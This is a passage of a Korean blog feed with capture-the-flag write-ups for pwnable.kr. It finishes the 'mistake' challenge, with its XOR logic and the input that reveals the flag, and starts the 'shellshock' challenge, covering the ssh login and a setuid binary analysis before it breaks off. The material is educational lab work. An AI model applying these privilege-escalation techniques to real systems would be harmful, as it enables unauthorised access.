&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;xor 함수는 각 string &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;한 문자를 1과 xor한 값을 저장&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;xor(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;s,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;len){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;len;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s[i]&amp;nbsp;^&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;XORKEY;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 pw_buf와 pw_buf2를 10 byte 비교 했을 때, 같으면 &quot;password OK&quot;를 출력하고 flag를 pwn_mistake의 권한으로 보여준다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 두 문자열이 다르다면 &quot;Wrong Password\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;file descriptor를 닫고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strncmp(pw_buf,&amp;nbsp;pw_buf2,&amp;nbsp;PW_LEN)){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Password&amp;nbsp;OK\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Wrong&amp;nbsp;Password\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;최종적으로 소스를 정리해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;fd는 0으로 설정&lt;/span&gt;되고 사용자로부터 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;글자를 입력받아 10 byte를 pw_buf에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;사용자로부터 입력을 받아 pw_buf2에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;pw_buf2는 각 문자가 1과 xor 연산&lt;/span&gt;을 해 pw_buf2와 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;pw_buf와 pw_buf2를 비교해 같으면 flag를 보여준다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;A를 10개 집어넣어 pw_buf에 저장하자.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;pw_buf에는 A가 10개 들어가있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리는 이제 입력을 해야하는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;A는 0x41이므로 0x41과 0x1을 xor하면 0x40(@)이다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래와 같이 입력하면 공격에 성공 할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 772px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E8E6365BED09C31E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E8E6365BED09C31E&quot; width=&quot;772&quot; height=&quot;119&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/228</guid>
      <comments>https://marcokhan.tistory.com/228#entry228comment</comments>
      <pubDate>Thu, 15 Nov 2018 14:55:55 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  shellshock 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/227</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- shellshock&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh shellshock@pwnable.kr&amp;nbsp;2222 (pw:guest)&lt;/span&gt;로 접속하면 shellshock 문제를 만날 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;windows 환경의 cmd로 접속하려면 ssh&amp;nbsp;shellshock@pwnable.kr -p2222과 같이 접속 해야한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 현재 디렉터리에&amp;nbsp;어떤 파일이 있는지 확인해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 995px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996B003D5BE14E1824&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996B003D5BE14E1824&quot; width=&quot;995&quot; height=&quot;120&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 flag를 알아야 하는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 shellshock이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;bash와 shellshock이라는 elf 파일이 존재하고, 두 파일 모두 실행 가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;shellshock 파일은&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; setuid가 shellshock_pwn의 권한&lt;/span&gt;으로 걸려있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;shellshock elf 파일을 통해 shellshock_pwn의 권한으로 flag를 볼 수 있을것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;shellshock.c를 가지고 shellshock elf 파일을 만들었을 확률이 높으므로 shellshock.c를 분석해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 738px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9970F03F5BE14EBD19&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9970F03F5BE14EBD19&quot; width=&quot;738&quot; height=&quot;173&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;setresuid, setresgid를 shellshock_pwn의 권한으로 부여받는다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;setresuid, setresgid&lt;/span&gt;는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;set real, effective and saved user or group ID&lt;/span&gt;의 뜻을 가진다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&quot;/home/shellshock/bash를 실행하고 'echo shock_me&quot;를 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;1&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;2&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;3&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;4&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;5&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;6&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;7&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; 